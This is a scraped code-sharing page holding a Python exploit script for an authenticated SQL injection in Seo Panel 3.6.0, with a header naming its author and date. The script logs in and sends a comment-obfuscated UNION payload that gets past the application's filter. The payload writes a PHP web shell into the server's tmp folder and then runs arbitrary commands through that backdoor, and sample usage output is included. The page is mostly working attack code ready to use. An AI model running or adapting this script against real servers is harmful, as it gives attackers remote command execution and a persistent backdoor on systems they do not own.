扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 |
# Exploit Title: Seo Control Panel 3.6.0 Authenticated Sql Injection # Date: 10/10/2014 # Exploit Author: Tiago Carvalho tcarvalho@dognaedis.com or tiago.alexandre@gmail.com # Vendor Homepage: www.seopanel.in # Software Link: http://www.seopanel.in/spdownload/ # Version: Seo Panel Version 3.6.0 # Tested on: Kali Linux and MAC OS X Mavericks # OSVDB ID: Requested """ This vulnerability affects Seo Control Panel - Product: Seo Panel Version 3.6.0 Tested on PHP 5.4.4-14+deb7u14 Vendor url :http://www.seopanel.in/ Their are multiple vulnerabilitis in the project not all of them are exploitable The Flowing exploit is able to successfull bypass the implemented protections based on set of regex with along with a blacklist the protections are implemeted in the flowing file: file : includes/sp-load.php lines: 128 to 150 The protection can easly be bypassed with payload used by this exploit The Vulnerable method exploited is located at: file: seo-plugins.php method: __getSeoPluginInfo lines: 175 to 178 Due to incorrect use of database client api $ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin [*] Upload was successfull! $ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la" total 12 drwxrwxrwx 2 root root 4096 Oct 9 18:06 . drwxr-xr-x 14 root root 4096 Oct 9 11:31 .. - -rw-rw-rw- 1 mysql mysql 42 Oct 9 18:06 buckle.php """ #!/usr/bin/env python import sys import urllib2 import urllib import cookielib """ This vulnerability affects Seo Control Panel - Product: Seo Panel Version 3.6.0 Tested on PHP 5.4.4-14+deb7u14 Vendor url :http://www.seopanel.in/ Their are multiple vulnerabilitis in the project not all of them are exploitable The Flowing exploit is able to successfull bypass the implemented protections based on set of regex with along with a blacklist the protections are implemeted in the flowing file: file : includes/sp-load.php lines: 128 to 150 The protection can easly be bypassed with payload used by this exploit The Vulnerable method exploited is located at: file: seo-plugins.php method: __getSeoPluginInfo lines: 175 to 178 Due to incorrect use of database client api $ python seopanel.py e 127.0.0.1 /seopanel/ spadmin spadmin [*] Upload was successfull! $ python seopanel.py c 127.0.0.1 /seopanel/ "ls -la" total 12 drwxrwxrwx2 rootroot4096 Oct9 18:06 . drwxr-xr-x 14 rootroot4096 Oct9 11:31 .. -rw-rw-rw-1 mysql mysql 42 Oct9 18:06 buckle.php """ def exploit(host,path,username,password): #POST Login content type headers = {'Content-type': 'application/x-www-form-urlencoded'} #payload creates a file in project_dir/tmp payload = {'pid':'\' UNION/**/select/**/\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',"\<\?php system($_REQUEST[\'cmd\']);\?\>"/**/from/**/seoplugins/**/into/**/outfile/**/\'/var/www/seopanel/tmp/buckle.php'} base_url = "http://"+host+path #url post_args = {'userName': username, 'password': password,'sec':'login','referer':base_url,'login':'Sign In >>'} #login url url_login = base_url+"/login.php" #vulnerable url url_plugins = base_url+"/seo-plugins.php" cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) request = urllib2.Request(url_login) request.add_data(urllib.urlencode(post_args)) request.add_header('Content-type', 'application/x-www-form-urlencoded') login_request = opener.open(request) code = int(login_request.code) if code == 200: try: ##The server returns a http status 500 but even when the attack is successfull opener.open(url_plugins,urllib.urlencode(payload)) except Exception, e: if check(base_url) == True: print "[*] Upload was successfull!" #call uploaded backdore and execute requested command def shell(url,command): url_shell = url+'/tmp/buckle.php' encoded_args = urllib.urlencode({'cmd':command}) return urllib2.urlopen(url_shell, encoded_args) #call uploaded backdore execute requested command and print the result def cmd(host,path,command): url = "http://"+host+path print shell(url,command).read() #check uploaded backdore is in place def check(url): code = shell(url,"ls").code if(code == 200): return True else: return False if len(sys.argv) == 6: if str(sys.argv[1]) == "e": exploit(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4]),str(sys.argv[5])) if len(sys.argv) == 5: if str(sys.argv[1]) == "c": cmd(str(sys.argv[2]),str(sys.argv[3]),str(sys.argv[4])) |
体验盒子
